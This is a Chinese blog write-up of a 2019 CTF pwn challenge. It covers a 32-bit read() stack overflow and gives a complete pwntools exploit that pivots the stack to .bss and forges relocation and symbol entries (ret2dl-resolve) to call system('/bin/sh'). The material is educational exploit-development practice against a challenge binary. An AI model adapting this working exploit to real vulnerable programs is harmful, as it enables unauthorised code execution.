2019国赛2.baby_pwn 利用ret2_dl_resolve

解题思路
1. 查看文件信息,安全机制
2. 代码审计
3. 分析漏洞点
4. 编写EXP

1.查看文件的属性

分析:
1.查看文件的属性 checksec 可行性文件名
在这里插入图片描述
2.阅读伪源码查看溢出大小

{
  char buf; // [sp+0h] [bp-28h]@1

  return read(0, &buf, 0x100u);
}  
注:这里可以结合gdb-peda的 pattern命令 查看溢出大小

在这里插入图片描述

代码审计

通过IDA的观察
在这里插入图片描述
只有一个read(我们没有libc文件),strings里面没有可以利用的敏感字符串

漏洞分析

因为伪代码过于单一 ,首先想到的就是ret2_dl_resolve
ret2_dl的最重要的两个关键点就是offset的确定,在这里一定要重视下面的这张图
在这里插入图片描述
平常我们都是利用函数结尾reaveret的结合,这就造成了,我们上面找出来的EIP不是我们可以利用的,这里需要找文章去查看,函数结尾的不同是怎么影响寄存器里面值的变化
在这里我一直陷入了一个误区就是,我利用了pwn350的末尾堆栈不平衡的想法一直在构造寄存器里面的数值,其实这个题可以直接覆盖到EXP的地方
这里有一个很好的判断,直接利用pattern search只要没有到EIP的值,我就需要考虑,保持函数末尾的堆栈平衡

编写EXP

这里我们可以直接将脚本拿过来使用,但是一定要在懂得原理的情况下使用,不然可能只需要改一个值,你都不知道从何处下手
根据我的2019_iscc_pwn350的脚本修改了一下

#!/usr/bin/env python
#coding:utf-8
from pwn import *
context.log_level = 'debug'  
context.terminal = ['gnome-terminal','-x','bash','-c']   
context(os='linux',arch='i386')

p = process('./pwn')
P = ELF('./pwn')
rop = ROP('./pwn')

leave = 0x0804854A  #这个地方我们可以单纯的利用地址  所以直接找leave就可以了
bss = 0x0804aa00  #这个地方我们,我们需要将地址取到超出地址边缘 ,要是数据写在bss段,我们需要将这个值改为bss段的地址
pppr_addr = 0x080485d9
pop_ebp = 0x080485db

payload = (0x28+4) * 'a'
payload+= p32(P.plt['read'])
payload+= p32(pppr_addr)
payload+= p32(0)
payload+= p32(bss) 
payload+= p32(0x400)
payload+= p32(pop_ebp)
payload+= p32(bss)
payload+= p32(leave)
p.send(payload)

sleep(1)

elf = ELF('./pwn')
rop = ROP('./pwn')
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


fake_sys_addr = bss + 36
align = 0x10 - ((fake_sys_addr-dynsym)&0xf)
fake_sys_addr = fake_sys_addr + align
index = (fake_sys_addr - dynsym)/0x10
r_info = (index << 8) + 0x7
st_name = (fake_sys_addr + 0x10) - dynstr
fake_sys = p32(st_name) + p32(0) + p32(0) + p32(0x12) 

fake_rel = p32(P.got['read']) + p32(r_info)
fake_rel_addr = bss + 28
fake_index = fake_rel_addr - rel_plt    
sh = '/bin/sh'


rop.raw(bss)  #这里我们到达了可以写入的一段空间
rop.raw(plt_0)
rop.raw(fake_index)
rop.raw('bbbb')
rop.raw(bss+82)   #
rop.raw('bbbb')
rop.raw('bbbb')

rop.raw(fake_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())  #这一步一定要加上,不然你会不知道 上面#处的82是哪里来的
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
p.sendline(rop.chain())
p.interactive()

分析EXP

首先需要进行栈迁移,由于我们的栈空间太小,不足以让我们操作,我们先利用got表复写术,来将返回地址,进行栈迁移,然后修改。

-参考文献:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值